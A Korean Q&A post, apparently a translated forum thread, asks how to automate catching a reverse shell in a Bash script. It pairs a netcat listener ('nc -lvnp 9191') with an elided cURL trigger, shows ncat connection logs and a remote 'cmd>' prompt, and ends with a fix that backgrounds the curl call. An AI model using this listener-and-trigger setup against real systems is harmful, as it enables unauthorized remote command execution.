Bash 스크립트에서 netcat과 cURL을 함께 사용

Bash 스크립트에서 netcat과 cURL을 함께 사용

이 질문은 infosec과 더 관련이 있지만 다음 프로세스를 자동화하는 데 대한 해결 방법을 찾을 수 없는 것 같습니다.

netcat에 대한 연결을 트리거하는 cURL 명령이 있습니다. 자동화하지 않고 , 을 입력합니다 nc -lvnp 9191.또 다른터미널 포트 9191에서 내 컴퓨터에 다시 연결을 설정하는 cURL 명령을 입력합니다. 그런 다음 원격 컴퓨터에서 일부 명령을 실행하는 데 사용할 수 있습니다.

내 Bash 스크립트에서 다음과 같은 것을 시도하고 있습니다.

nc -lvnp 9191&
curl ......

Netcat은 리스너를 시작하고 백그라운드로 이동하며 cURL은 연결을 트리거하지만(연결을 다시 수신함) netcat은 즉시 닫힙니다.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

nc -lvnp 9191&Bash 스크립트에서 이를 제거 하고 Bash 스크립트에 cURL 명령만 남겨두면 다음과 같은 일이 발생합니다.

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

그러나 'Enter' 키를 누르면 netcat 작업이 즉시 일시 중지됩니다.

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

netcat 작업을 재개하고 작업을 계속 해야 fg하는데 어떻게든 이 모든 것에서 나 자신을 구할 수 있을지 궁금했습니다.

답변1

그래서 누군가와 논의한 끝에 마침내 작동하게 만들었습니다. 줄 위치를 변경하여 curl먼저(백그라운드 작업으로), 그 다음으로 netcat(백그라운드 없음)를 변경했습니다. 접근 방식은 다음과 같습니다.

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

관련 정보